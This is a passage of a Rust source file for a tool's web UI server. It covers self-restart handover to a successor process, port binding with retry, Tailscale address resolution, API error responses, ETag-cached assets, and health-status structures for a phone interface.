1798        drop(self.lease.take());
1799        if let Ok(mut live) = self.turns.lock() {
1800            live.live.remove(&self.talk);
1801            live.queued.remove(&self.talk);
1802        }
1803    }
1804}
1805
1806/// Releases a resume claim, so a run is resumable again after the attempt.
1807struct ResumeGuard {
1808    run: String,
1809    resuming: Arc<Mutex<HashSet<String>>>,
1810}
1811
1812impl Drop for ResumeGuard {
1813    fn drop(&mut self) {
1814        if let Ok(mut live) = self.resuming.lock() {
1815            live.remove(&self.run);
1816        }
1817    }
1818}
1819
1820/// Bind the port, waiting briefly for a predecessor to let go of it.
1821///
1822/// A restart hands the address from one process to the next, and the old one
1823/// holds its listener until it unwinds. A single `bind` can lose that race,
1824/// and for a restart triggered from a phone that means the deck never comes
1825/// back with no terminal around to say why.
1826///
1827/// Bounded, and only for the one error a wait can fix: anything else fails at
1828/// once, because retrying it would turn a clear message into a silence.
1829async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
1830    const WINDOW: Duration = Duration::from_secs(10);
1831    const GAP: Duration = Duration::from_millis(250);
1832
1833    let deadline = std::time::Instant::now() + WINDOW;
1834    let mut said = false;
1835    loop {
1836        match tokio::net::TcpListener::bind(socket).await {
1837            Ok(listener) => return Ok(listener),
1838            Err(e)
1839                if e.kind() == std::io::ErrorKind::AddrInUse
1840                    && std::time::Instant::now() < deadline =>
1841            {
1842                if !said {
1843                    said = true;
1844                    tracing::info!(
1845                        "{socket} is still held - waiting up to {}s for it, \
1846                         which is what a restart looks like from here",
1847                        WINDOW.as_secs()
1848                    );
1849                }
1850                tokio::time::sleep(GAP).await;
1851            }
1852            Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1853        }
1854    }
1855}
1856
1857/// Signalled when an upgrade has replaced the binary and the successor should
1858/// take this address over. One per process: there is one address to hand on.
1859static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1860
1861/// Set to `1` on the successor when the loop was running at handover.
1862const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1863/// Keep a dynamically assigned listener address stable across replacement.
1864const RESTART_PORT_ENV: &str = "MAGI_WEB_RESTART_PORT";
1865
1866/// Whether the environment value asks for the loop to be resumed.
1867fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1868    value.is_some_and(|v| v == "1")
1869}
1870
1871/// Start this binary again with the same arguments, detached.
1872///
1873/// Called from [`serve`]'s exit path, *after* the listener has been dropped,
1874/// so the address is already free when the successor binds it. The first
1875/// attempt at this spawned the successor two hundred milliseconds before
1876/// exiting instead, and the released binary - which has no bind retry - died
1877/// on "address already in use" with its stdio sent to null, so the deck
1878/// simply never came back.
1879///
1880/// Detached and without inherited stdio: the successor has to outlive this
1881/// process, and must not hold open a pipe a terminal is waiting on.
1882///
1883/// The scheduler is restarted separately; execution workers are not awaited.
1884///
1885/// The successor's stdout and stderr are appended to `<home>/web.log` rather
1886/// than sent to null: a supervisor's redirection only ever held the first
1887/// generation's descriptors, so every later generation logged nowhere. The
1888/// pid of the child is returned so the handover log can name it.
1889fn spawn_successor(home: &FsPath, port: u16, exe: &FsPath) -> Result<u32> {
1890    let args: Vec<String> = std::env::args().skip(1).collect();
1891    updater::log_step(
1892        home,
1893        &format!("restarting: {} {}", exe.display(), args.join(" ")),
1894    );
1895    let log_path = home.join(WEB_LOG);
1896    let open_log = || {
1897        std::fs::create_dir_all(home)?;
1898        std::fs::OpenOptions::new()
1899            .create(true)
1900            .append(true)
1901            .open(&log_path)
1902    };
1903    let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
1904        Ok(pair) => (
1905            std::process::Stdio::from(pair.0),
1906            std::process::Stdio::from(pair.1),
1907        ),
1908        Err(e) => {
1909            updater::log_warn(
1910                home,
1911                &format!(
1912                    "could not open {}: {e}; the successor logs nowhere",
1913                    log_path.display()
1914                ),
1915            );
1916            (std::process::Stdio::null(), std::process::Stdio::null())
1917        }
1918    };
1919
1920    let mut cmd = std::process::Command::new(exe);
1921    cmd.env_remove(RESUME_LOOP_ENV);
1922    cmd.env(RESTART_PORT_ENV, port.to_string());
1923    cmd.args(&args)
1924        .stdin(std::process::Stdio::null())
1925        .stdout(out)
1926        .stderr(err);
1927    #[cfg(windows)]
1928    {
1929        use std::os::windows::process::CommandExt as _;
1930        // DETACHED_PROCESS | CREATE_NEW_PROCESS_GROUP: no console to inherit,
1931        // and Ctrl-C in the old terminal must not reach the successor.
1932        cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1933    }
1934    let child = cmd.spawn().context("start the successor")?;
1935    Ok(child.id())
1936}
1937
1938/// File under `<home>` the successor's output is appended to.
1939const WEB_LOG: &str = "web.log";
1940
1941/// Resolves when [`HANDOVER`] is signalled. The only waiter on it: a permit
1942/// stored by an earlier `notify_one` is consumed by the first poll, so the
1943/// signal is never missed and never wakes a second time.
1944async fn wait_for_handover(signal: &Notify) {
1945    signal.notified().await;
1946}
1947
1948/// Serve the UI independently from scheduler and execution workers.
1949/// A restart releases its listener before starting the successor.
1950pub async fn serve(opts: Opts) -> Result<()> {
1951    // Capture before self-replacement: current_exe may later name a removed
1952    // image on Linux or the renamed old image on Windows.
1953    crate::worker::remember_current_executable()?;
1954    let executable = std::env::current_exe().context("find the installed web executable")?;
1955    let (addr, warning) = resolve_bind(&opts.bind);
1956    if let Some(warning) = warning {
1957        tracing::warn!("{warning}");
1958    }
1959
1960    // Process-global, and therefore set exactly once, here: the report route
1961    // must never emit escape sequences into a browser, and toggling the flag
1962    // per request would race with a concurrent request rendering its own
1963    // report. Startup is the only moment at which no request can observe the
1964    // change. Nothing in the server turns colour back on.
1965    report::set_color(false);
1966
1967    let repo = normalize_default_repo(opts.repo).await;
1968    let ui = Arc::new(Ui::open(repo).with_merge(opts.merge));
1969    // The listener and periodic checker share one upgrade gate and state.
1970    let home = ui.home.clone();
1971    let admissions = Arc::clone(&ui.admissions);
1972    // Settles a progress record a predecessor left non-terminal - either this
1973    // *is* the successor `spawn_successor` started, or the previous process
1974    // died mid-handover. Before the router starts answering, so the very
1975    // first `/api/health` a phone gets from this process already reflects it.
1976    updater::reconcile_after_restart(&home);
1977    updater::log_step(
1978        &home,
1979        &format!(
1980            "web process started (version {}); handover log {}, successor output {}",
1981            env!("CARGO_PKG_VERSION"),
1982            updater::log_path(&home).display(),
1983            home.join(WEB_LOG).display()
1984        ),
1985    );
1986    updater::spawn_watchdog(home.clone());
1987    // `magi web` can stay up for days, and the one-time check `main.rs`'s
1988    // `spawn_update_check` does at startup only ever runs once: after that,
1989    // `/api/health`'s `update` field - and the phone's "Update & restart"
1990    // button, which reads the very same cache - would stay frozen on
1991    // whatever that single check found, no matter how many releases ship
1992    // afterwards. The periodic checker below keeps it current and is
1993    // cancelled when the listener finishes.
1994    let port = if opts.port == 0 {
1995        std::env::var(RESTART_PORT_ENV)
1996            .ok()
1997            .and_then(|value| value.parse::<u16>().ok())
1998            .filter(|port| *port != 0)
1999            .unwrap_or(0)
2000    } else {
2001        opts.port
2002    };
2003    let socket = SocketAddr::new(addr, port);
2004    let listener = bind_waiting(socket).await?;
2005    let bound = listener.local_addr().context("read bound web address")?;
2006    let port = bound.port();
2007    let url = format!("http://{bound}");
2008    tracing::info!(
2009        "magi web UI on {url} - there is no authentication, so anyone who can \
2010         reach this address can file and hold tasks: the tailnet is the \
2011         security boundary"
2012    );
2013    // A legacy predecessor may request first-migration scheduler startup.
2014    if resume_requested(std::env::var_os(RESUME_LOOP_ENV)) && !daemon::managed(&home) {
2015        ui.start_detached_loop()
2016            .await
2017            .map_err(|e| anyhow::anyhow!(e.message))?;
2018    }
2019    if opts.open {
2020        // The URL alone on stdout, for a caller that wants to open it. magi
2021        // does not spawn a browser: on the machine this usually runs on there
2022        // is no display, and a failed launch would be the only output.
2023        println!("{url}");
2024    }
2025
2026    // On its own task, so nothing this function awaits can stop the address
2027    // being answered. `hand_over` is where it is given up.
2028    let recheck_ui = ui.clone();
2029    let mut served = tokio::spawn(axum::serve(listener, ui.shared_router()).into_future());
2030    let recheck = tokio::spawn(run_update_recheck(recheck_ui));
2031    let interrupted = async {
2032        if tokio::signal::ctrl_c().await.is_err() {
2033            // No handler on this platform, so there is no signal to act on.
2034            // Never resolving is the safe answer: a failed registration must
2035            // not masquerade as the operator asking for a shutdown and take
2036            // the UI down on startup.
2037            std::future::pending::<()>().await;
2038        }
2039    };
2040    let handover = wait_for_handover(&HANDOVER);
2041    let outcome = tokio::select! {
2042        joined = &mut served => match joined {
2043            Ok(outcome) => outcome.context("serve the web UI"),
2044            Err(e) => Err(e).context("the task serving the web UI ended"),
2045        },
2046        () = interrupted => {
2047            recheck.abort();
2048            tracing::info!("shutting down the web UI; detached workers continue");
2049            close_admissions(&admissions).await;
2050            served.abort();
2051            let _ = served.await;
2052            Ok(())
2053        }
2054        () = handover => {
2055            recheck.abort();
2056            let successor_home = home.clone();
2057            hand_over(&home, &admissions, served, move || spawn_successor(&successor_home, port, &executable)).await
2058        }
2059    };
2060    recheck.abort();
2061    let _ = recheck.await;
2062    updater::log_step(
2063        &home,
2064        &match &outcome {
2065            Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
2066            Err(e) => format!("serve: returning an error: {e:#}"),
2067        },
2068    );
2069    outcome
2070}
2071
2072/// `opts.repo`, or - when it is still `--repo`'s own default (`.`) and the
2073/// process's own working directory is not a git checkout at all - the
2074/// checkout [`repos::discover_verified`] finds instead.
2075///
2076/// Only the unmodified default is ever replaced: an operator who named a
2077/// directory outright, git checkout or not, gets exactly that directory
2078/// back, and the same story downstream (a talk whose briefing embeds a
2079/// non-git directory, and an agent that has to ask the operator where the
2080/// real repository is) that has always told them so - substituting a guess
2081/// for an explicit answer would be a second, silent opinion about what they
2082/// meant. There is no instruction or task text yet to match against this
2083/// early, so only [`repos::discover_verified`]'s own-repository tier can
2084/// ever settle this - the hint tier never fires here.
2085///
2086/// [`repos::discover_verified`], not [`repos::discover`]: a candidate this
2087/// found by filesystem shape alone is not yet trustworthy - a stale `.git`,
2088/// or a git installation that is broken in exactly the way that made the
2089/// original `canonical` check above fail too - so it is re-checked with
2090/// `git::toplevel` before it is ever used in place of the operator's own
2091/// directory.
2092async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
2093    if repo != FsPath::new(".") {
2094        return repo;
2095    }
2096    let Ok(canonical) = repo.canonicalize() else {
2097        return repo;
2098    };
2099    if git::toplevel(&canonical).await.is_ok() {
2100        return repo;
2101    }
2102    let Some(home) = dirs::home_dir() else {
2103        return repo;
2104    };
2105    match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
2106        Some(found) => {
2107            tracing::info!(
2108                "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
2109                canonical.display(),
2110                found.path.display(),
2111                found.reason,
2112            );
2113            found.path
2114        }
2115        None => repo,
2116    }
2117}
2118
2119/// Close new ingress and finish only transactions publishing durable work.
2120/// The writer waits for owned admission guards, not task or chat turn leases.
2121async fn close_admissions(admissions: &tokio::sync::RwLock<bool>) {
2122    *admissions.write().await = true;
2123}
2124
2125/// Restart only the scheduler and web listener, never their execution workers.
2126/// The old listener must be fully released before the successor is started.
2127async fn hand_over(
2128    home: &FsPath,
2129    admissions: &tokio::sync::RwLock<bool>,
2130    served: tokio::task::JoinHandle<std::io::Result<()>>,
2131    successor: impl FnOnce() -> Result<u32>,
2132) -> Result<()> {
2133    close_admissions(admissions).await;
2134    if let Some(mut progress) = updater::read_progress(home) {
2135        progress.advance(updater::Stage::Restarting);
2136        progress.detail =
2137            Some("Restarting scheduler and web; active workers continue unchanged.".to_owned());
2138        updater::write_progress_logged(home, &progress);
2139    }
2140    updater::log_step(
2141        home,
2142        "restarting scheduler without parking execution workers",
2143    );
2144    let scheduler = daemon::restart_detached(home).await;
2145    if let Err(error) = &scheduler {
2146        let _ = updater::fail_progress(home, &format!("restart scheduler: {error:#}"));
2147        updater::log_warn(
2148            home,
2149            &format!("scheduler restart failed; restoring the web UI: {error:#}"),
2150        );
2151    }
2152    updater::log_step(home, "releasing the web listener");
2153    served.abort();
2154    let _ = served.await;
2155    updater::log_step(home, "web listener released; starting the successor");
2156    match successor() {
2157        Ok(pid) => {
2158            updater::log_step(home, &format!("successor started, pid {pid}"));
2159            scheduler
2160        }
2161        Err(e) => {
2162            let _ = updater::fail_progress(home, &format!("start web successor: {e:#}"));
2163            Err(e)
2164        }
2165    }
2166}
2167
2168/// Resolve `--bind` to an address, plus a warning when the answer is not what
2169/// the operator asked for.
2170///
2171/// Split out from [`serve`] because the interesting half - deciding whether
2172/// Tailscale gave us something usable - is testable without opening a socket.
2173pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
2174    match bind {
2175        Bind::Addr(addr) => (*addr, None),
2176        Bind::Auto => match tailscale_ip() {
2177            Ok(ip) => (IpAddr::V4(ip), None),
2178            Err(why) => (
2179                IpAddr::V4(Ipv4Addr::LOCALHOST),
2180                Some(format!(
2181                    "--bind auto fell back to 127.0.0.1: {why}. The UI is \
2182                     local-only and a phone cannot reach it; start Tailscale \
2183                     or pass --bind <addr>"
2184                )),
2185            ),
2186        },
2187    }
2188}
2189
2190/// This machine's Tailscale IPv4, or why there is not one.
2191///
2192/// `tailscale ip -4` is a local call against the running daemon and returns in
2193/// milliseconds, so it is fine to make it synchronously before the server
2194/// exists. Only an address inside `100.64.0.0/10` is accepted: that is the
2195/// CGNAT block Tailscale assigns from, and anything else on that output would
2196/// be a different tool answering.
2197fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
2198    let out = std::process::Command::new("tailscale")
2199        .args(["ip", "-4"])
2200        .quiet()
2201        .output()
2202        .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
2203    if !out.status.success() {
2204        let why = String::from_utf8_lossy(&out.stderr);
2205        let why = why.trim();
2206        return Err(format!(
2207            "`tailscale ip -4` failed ({}){}",
2208            out.status,
2209            if why.is_empty() {
2210                String::new()
2211            } else {
2212                format!(": {why}")
2213            }
2214        ));
2215    }
2216    String::from_utf8_lossy(&out.stdout)
2217        .lines()
2218        .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
2219        .find(is_tailnet)
2220        .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
2221}
2222
2223/// Is this address in the CGNAT block Tailscale hands out from?
2224fn is_tailnet(ip: &Ipv4Addr) -> bool {
2225    let o = ip.octets();
2226    o[0] == 100 && (64..=127).contains(&o[1])
2227}
2228
2229/// What every handler returns. Spelled out because `Result` in this crate is
2230/// `anyhow::Result`, and a handler's error is a status code as much as a
2231/// message.
2232type ApiResult<T> = std::result::Result<T, ApiError>;
2233
2234/// A handler failure, rendered as the `{"error": ".."}` body the UI expects.
2235#[derive(Debug)]
2236struct ApiError {
2237    status: StatusCode,
2238    message: String,
2239    text_reason: Option<crate::question_delivery::UnavailableReason>,
2240}
2241
2242impl ApiError {
2243    /// The client asked for something malformed.
2244    fn bad_request(message: impl Into<String>) -> Self {
2245        Self {
2246            text_reason: None,
2247            status: StatusCode::BAD_REQUEST,
2248            message: message.into(),
2249        }
2250    }
2251
2252    /// No such run or task.
2253    fn not_found(message: impl Into<String>) -> Self {
2254        Self {
2255            text_reason: None,
2256            status: StatusCode::NOT_FOUND,
2257            message: message.into(),
2258        }
2259    }
2260
2261    /// Someone else owns the thing the client wants to change.
2262    /// Re-badge an error whose default mapping is wrong for this route.
2263    fn with_status(mut self, status: StatusCode) -> Self {
2264        self.status = status;
2265        self
2266    }
2267
2268    /// A rules violation from a domain type, reported as the caller's fault.
2269    /// `Question::answer` rejects an unoffered choice, and that is a bad
2270    /// request, not a server error.
2271    fn bad_request_from(e: anyhow::Error) -> Self {
2272        Self::bad_request(format!("{e:#}"))
2273    }
2274
2275    fn conflict(message: impl Into<String>) -> Self {
2276        Self {
2277            text_reason: None,
2278            status: StatusCode::CONFLICT,
2279            message: message.into(),
2280        }
2281    }
2282
2283    /// Our fault, or the disk's.
2284    fn internal(message: impl Into<String>) -> Self {
2285        Self {
2286            text_reason: None,
2287            status: StatusCode::INTERNAL_SERVER_ERROR,
2288            message: message.into(),
2289        }
2290    }
2291}
2292
2293impl From<anyhow::Error> for ApiError {
2294    /// Errors from `queue` and `run` carry their context chain, and the whole
2295    /// chain goes to the client: "parse /home/x/runs/y/run.json: expected
2296    /// value at line 3" is a message an operator can act on, and there is no
2297    /// secret in a path on a single-user tailnet.
2298    fn from(e: anyhow::Error) -> Self {
2299        Self::internal(format!("{e:#}"))
2300    }
2301}
2302
2303impl IntoResponse for ApiError {
2304    fn into_response(self) -> Response {
2305        let mut body = serde_json::json!({ "error": self.message });
2306        if let Some(reason) = self.text_reason {
2307            body["code"] = serde_json::json!("question_text_unavailable");
2308            body["reason"] = serde_json::json!(reason);
2309        }
2310        (self.status, Json(body)).into_response()
2311    }
2312}
2313
2314/// Run a handler's filesystem work off the executor.
2315///
2316/// Every route that touches the disk goes through here rather than each one
2317/// arguing about whether its own read is small enough. Uniform because the
2318/// expensive case is not rare: `run.json` for a finished competition holds
2319/// every judgement, deliberation turn and review round, so listing a few
2320/// hundred runs is megabytes of parsing, and the executor threads doing it are
2321/// the same ones serving the change stream of every other connected phone.
2322async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
2323where
2324    T: Send + 'static,
2325{
2326    #[cfg(test)]
2327    let job = request_cost::carry(job);
2328    match tokio::task::spawn_blocking(job).await {
2329        Ok(result) => result,
2330        Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
2331    }
2332}
2333
2334/// Bulk readers have a bounded, separate execution lane. A cold health
2335/// index or multiple slow list clients cannot occupy the pool serving detail.
2336async fn bulk_blocking<T>(
2337    slots: Arc<tokio::sync::Semaphore>,
2338    job: impl FnOnce() -> ApiResult<T> + Send + 'static,
2339) -> ApiResult<T>
2340where
2341    T: Send + 'static,
2342{
2343    let permit = slots
2344        .acquire_owned()
2345        .await
2346        .map_err(|_| ApiError::internal("Bulk reader stopped"))?;
2347    let (send, receive) = tokio::sync::oneshot::channel();
2348    #[cfg(test)]
2349    let job = request_cost::carry(job);
2350    let runtime = tokio::runtime::Handle::current();
2351    std::thread::Builder::new()
2352        .name("web-bulk".into())
2353        .spawn(move || {
2354            let _permit = permit;
2355            // Capacity observations schedule their independent blocking job.
2356            let _runtime = runtime.enter();
2357            let _ = send.send(job());
2358        })
2359        .map_err(|error| ApiError::internal(format!("start bulk reader: {error}")))?;
2360    receive
2361        .await
2362        .map_err(|_| ApiError::internal("Bulk reader failed"))?
2363}
2364
2365/// Cache policy for the three compiled-in front-end files.
2366///
2367/// The whole interface is `include_str!`ed into the binary, so its content
2368/// changes only when the binary does - and a phone that keeps a copy is
2369/// welcome to, right up until the deck is replaced. Without a single cache
2370/// header, browsers were free to invent their own policy, and one did:
2371/// yukimemi's phone went on showing "Candidates must be folded before
2372/// deleting. Run `magi fold` first." - a sentence deleted two releases
2373/// earlier - from a run detail served by a deck that no longer contained it.
2374/// The delete button he was told about was right there, and unreachable.
2375///
2376/// `must-revalidate` with an `ETag` keyed on the version: the phone asks
2377/// every time, the answer is a 304 costing one small round trip while the
2378/// deck is unchanged, and the moment it is replaced the tag differs and the
2379/// new interface arrives. Correctness over bytes - this is one file of a few
2380/// tens of kilobytes on a tailnet, and being a version behind is not a
2381/// cosmetic problem when the difference is whether a button exists.
2382const ASSET_CACHE: &str = "no-cache, must-revalidate";
2383
2384/// `ETag` for the compiled-in assets, distinct per build.
2385///
2386/// The version alone would leave a locally built deck - `cargo install
2387/// --path .` twice at the same version, which is the normal way to iterate -
2388/// serving a stale tag for changed bytes. The build timestamp is what makes
2389/// two builds of `0.3.0` differ.
2390fn asset_etag() -> &'static str {
2391    static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
2392        format!(
2393            "\"{}-{}\"",
2394            env!("CARGO_PKG_VERSION"),
2395            // Length is a cheap, deterministic stand-in for a hash: the
2396            // three files are compiled in together, so any edit to any of
2397            // them almost certainly changes the total, and a rebuild is what
2398            // this needs to track rather than every possible byte pattern.
2399            INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
2400        )
2401    });
2402    &TAG
2403}
2404
2405/// Headers for a compiled-in asset of `mime`.
2406fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
2407    [
2408        (header::CONTENT_TYPE, mime),
2409        (header::CACHE_CONTROL, ASSET_CACHE),
2410        (header::ETAG, asset_etag()),
2411    ]
2412}
2413
2414/// Serve a compiled-in asset, answering `304` when the client already has it.
2415///
2416/// axum does not compare `If-None-Match` for us, and a header the server sets
2417/// but never honours is worse than none: the phone revalidates on every load
2418/// and is handed the whole file back each time. Doing the comparison is what
2419/// makes `must-revalidate` cost one small round trip rather than the
2420/// interface.
2421fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
2422    let tag = asset_etag();
2423    let known = headers
2424        .get(header::IF_NONE_MATCH)
2425        .and_then(|v| v.to_str().ok())
2426        // A revalidating client may send several, and a proxy may weaken the
2427        // tag to `W/"..."`; matching on containment covers both without
2428        // parsing the grammar.
2429        .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
2430    if known {
2431        return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
2432    }
2433    (asset_headers(mime), body).into_response()
2434}
2435
2436async fn index(headers: header::HeaderMap) -> Response {
2437    asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
2438}
2439
2440async fn app_css(headers: header::HeaderMap) -> Response {
2441    asset(&headers, "text/css; charset=utf-8", APP_CSS)
2442}
2443
2444async fn app_js(headers: header::HeaderMap) -> Response {
2445    asset(&headers, "text/javascript; charset=utf-8", APP_JS)
2446}
2447
2448/// What `/api/health` answers.
2449#[derive(Debug, Serialize)]
2450struct HealthView {
2451    version: &'static str,
2452    home: String,
2453    queue_rev: u64,
2454    runs_rev: u64,
2455    /// The same revisions [`events`] streams for the question and talk
2456    /// stores.
2457    ///
2458    /// Here because this route is what the front end falls back to when the
2459    /// change stream is not up - it re-polls health on a timer and on wake, and
2460    /// takes the revisions from the answer. Without these the fallback
2461    /// compares `undefined` against `undefined` for both stores, decides
2462    /// nothing moved, and a phone with a dead stream never learns that a
2463    /// question was asked or that a talk took a turn. `queue_rev` and
2464    /// `runs_rev` above have always been here for exactly this reason; the rule
2465    /// is that every revision the stream carries, this route carries too.
2466    questions_rev: u64,
2467    /// See [`HealthView::questions_rev`]. The standing chat's own store.
2468    talks_rev: u64,
2469    /// See [`HealthView::questions_rev`]. The notification centre's store.
2470    notifications_rev: u64,
2471    /// Notifications nobody has read yet: the bell's badge before
2472    /// `/api/notifications` has answered.
2473    notifications_unread: usize,
2474    /// See [`HealthView::questions_rev`]. The loop's counter is the one that
2475    /// is not on disk anywhere, so a phone with no change stream has no other
2476    /// way to notice that the loop it is waiting on was started from another
2477    /// device.
2478    loop_rev: u64,
2479    /// Runs on disk whose state this build cannot parse - almost always a
2480    /// schema bump, occasionally a run killed mid-write.
2481    ///
2482    /// Reported because the list silently skips them, and "no competitions
2483    /// yet" is a lie when six of them are sitting in the runs directory. The
2484    /// terminal deck learned the same lesson: a run that fails to parse must
2485    /// not disappear from the count.
2486    runs_unreadable: usize,
2487    /// The disk, and what the runs and their worktrees occupy on it.
2488    ///
2489    /// This is the incident the janitor exists for: magi alone put 30 GB into
2490    /// one shared cache and 6.7-11 GB into each run's worktrees, and a phone
2491    /// is exactly where the operator learns "the disk is the constraint" -
2492    /// the diagnosis that a run is being held for want of space has to be
2493    /// checkable on the same screen.
2494    disk: Option<serde_json::Value>,
2495    /// Questions nobody has answered yet, including ones an owner talked
2496    /// back on and is now waiting for the agent's reply to. A round trip
2497    /// never changes [`crate::ask::QuestionStatus`], so this does not drop
2498    /// while the ball is in the agent's court - see
2499    /// [`crate::ask::Questions::count_open`].
2500    questions_open: usize,
2501    /// Of those, how many actually need the owner right now: open, and not
2502    /// [`crate::ask::Question::waiting_on_agent`].
2503    ///
2504    /// The one number that means "nothing will happen until a human acts" -
2505    /// a parked run consumes nothing and progresses never - and the count the
2506    /// ask bar, the nav badge and the document title fall back to before
2507    /// `/api/questions` has answered, so those notification channels clear
2508    /// the instant the owner asks back and reappear the instant the agent
2509    /// replies, instead of sitting lit for however long the agent thinks.
2510    questions_needs_owner: usize,
2511    daemon: DaemonView,
2512    /// The independently controllable scheduler, as `/api/loop` reports it.
2513    ///
2514    /// Here so a phone that has just woken needs one request to know whether
2515    /// anything is going to happen at all: `daemon` says a loop is alive
2516    /// somewhere, and this says whether it is one this UI can stop.
2517    #[serde(rename = "loop")]
2518    looping: LoopView,
2519    /// Whether a release newer than this build is known, and which.
2520    ///
2521    /// From [`updater::Checker::cached_update`] - the same throttled state the
2522    /// CLI's `notify` mode banners from - never a live check: this route is
2523    /// polled every few seconds, and a live check on each poll would spend
2524    /// GitHub's rate limit before the operator finished reading the strip.
2525    update: UpdateView,
2526    /// The self-upgrade this deck last set in motion, or `null` before the
2527    /// first one. Read off disk, so the successor can report what its
2528    /// predecessor started.
2529    upgrade: Option<UpgradeProgressView>,
2530    /// Detached jobs survive replacement of this web process. Each reports
2531    /// its own immutable executable generation rather than the web version.
2532    jobs: Vec<WorkerView>,
2533    upgrade_request_error: Option<UpgradeRequestFailure>,
2534}
2535
2536/// Public execution metadata only. Job payloads contain private configuration
2537/// and must never be returned by the health endpoint.
2538#[derive(Debug, Serialize)]
2539struct WorkerView {
2540    id: String,
2541    kind: String,
2542    key: String,
2543    pid: Option<u32>,
2544    status: crate::worker::Status,
2545    generation: String,
2546    version: Option<String>,
2547    queue_owned: bool,
2548}
2549
2550impl From<crate::worker::Job> for WorkerView {
2551    fn from(job: crate::worker::Job) -> Self {
2552        let queue_owned = job.kind == "task"
2553            && job
2554                .payload
2555                .get("standalone")
2556                .and_then(serde_json::Value::as_bool)
2557                != Some(true);
2558        Self {
2559            id: job.id,
2560            kind: job.kind,
2561            key: job.key,
2562            pid: job.pid,
2563            status: job.status,
2564            generation: job.generation,
2565            version: job.version,
2566            queue_owned,
2567        }
2568    }
2569}
2570
2571/// What `/api/health` knows about a release newer than this build.
2572///
2573/// A plain `Option<String>` for `to` could not distinguish "checked, and this
2574/// is already the newest" from "never checked" - both are `None` - and the
2575/// phone needs to tell those apart to decide whether the deck can be trusted
2576/// to have an opinion at all.
2577#[derive(Debug, Clone, Serialize)]
2578struct UpdateView {
2579    /// A newer release is known to exist.
2580    available: bool,
2581    /// Its tag, when `available`.
2582    to: Option<String>,
2583}
2584
2585/// [`updater::Progress`] as `/api/health` reports it.
2586#[derive(Debug, Serialize)]
2587struct UpgradeProgressView {
2588    trigger: updater::UpgradeTrigger,
2589    stage: updater::Stage,
2590    from: String,
2591    to: Option<String>,
2592    /// What [`updater::Stage::Parking`] is waiting on, in words: the run and
2593    /// the step it is finishing before the address is handed over.
2594    waiting_on: Option<String>,
2595    started_at: Timestamp,
2596    updated_at: Timestamp,
2597    detail: Option<String>,
2598    /// Seconds the stage has outlived its allowance, when it has - see
2599    /// [`updater::stall`]. `null` while the stage is moving normally.
2600    stuck_for_secs: Option<i64>,
2601    /// Which kind of stuck: `never_entered` (hand_over left no record of
2602    /// starting) or `stopped_beating`. `null` when not stuck.
2603    stuck_kind: Option<updater::StallKind>,
2604    /// `hand_over` is alive and waiting on the loop: however long that takes,
2605    /// it is not an overdue upgrade.
2606    handover_alive: bool,
2607}
2608
2609/// Whether [`run_update_recheck`] may act at all this tick.
2610///
2611/// The same two conditions [`updater::Checker::new`] and
2612/// [`upgrade_post`] already honour: an operator who wrote `[update] mode =
2613/// "off"`, or who set [`updater::NO_AUTOUPDATE_ENV`], means "never contact
2614/// GitHub from this process" - on a button press or on a timer alike.
2615fn should_spawn_recheck(cfg: &Update) -> bool {
2616    cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
2617}
2618
2619/// Whether this tick should actually reach the network, once checking itself
2620/// is allowed.
2621///
2622/// An upgrade already in flight must not be raced by a check that discovers
2623/// a *newer* release while one is still installing - a phone watching
2624/// `/api/health` would see the answer change out from under the upgrade it
2625/// already asked for. Past that, [`updater::Checker::should_check`] is the
2626/// same throttle the CLI's own notify mode and [`cached_update_view`] rely
2627/// on; deferring to it here, rather than to [`run_update_recheck`]'s own
2628/// polling period, is what keeps this task's network use to at most once per
2629/// `[update] interval` regardless of how often it wakes up.
2630fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
2631    if progress.is_some_and(|p| !p.stage.terminal()) {
2632        return false;
2633    }
2634    checker.should_check()
2635}
2636
2637/// How long [`run_update_recheck`] sleeps before its next wake-up.
2638///
2639/// A fraction of the configured `[update] interval` rather than a fixed
2640/// number: a fixed sleep longer than a short custom interval would leave the
2641/// deck waiting on its own wake-up rather than on `should_check`, so an
2642/// operator who set `interval = "1m"` to make the UI catch up quickly would
2643/// not see that take effect until the next restart - exactly the bug this
2644/// task exists to fix, just moved one level down. Scaling with the interval
2645/// keeps the wake-up prompt relative to what was actually configured, while
2646/// [`update_recheck_due`]'s call to [`updater::Checker::should_check`] is
2647/// still what caps the network calls themselves at one per interval,
2648/// regardless of how often this fires.
2649fn recheck_poll_period(cfg: &Update) -> Duration {
2650    (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
2651}
2652
2653#[derive(Debug, PartialEq, Eq)]
2654enum AutoUpgradeDecision {
2655    Skip(&'static str),
2656    Wait,
2657    Trigger,
2658}
2659
2660fn auto_upgrade_decision(
2661    cfg: &Update,
2662    disabled: bool,
2663    in_motion: bool,
2664    busy: bool,
2665    tag: &str,
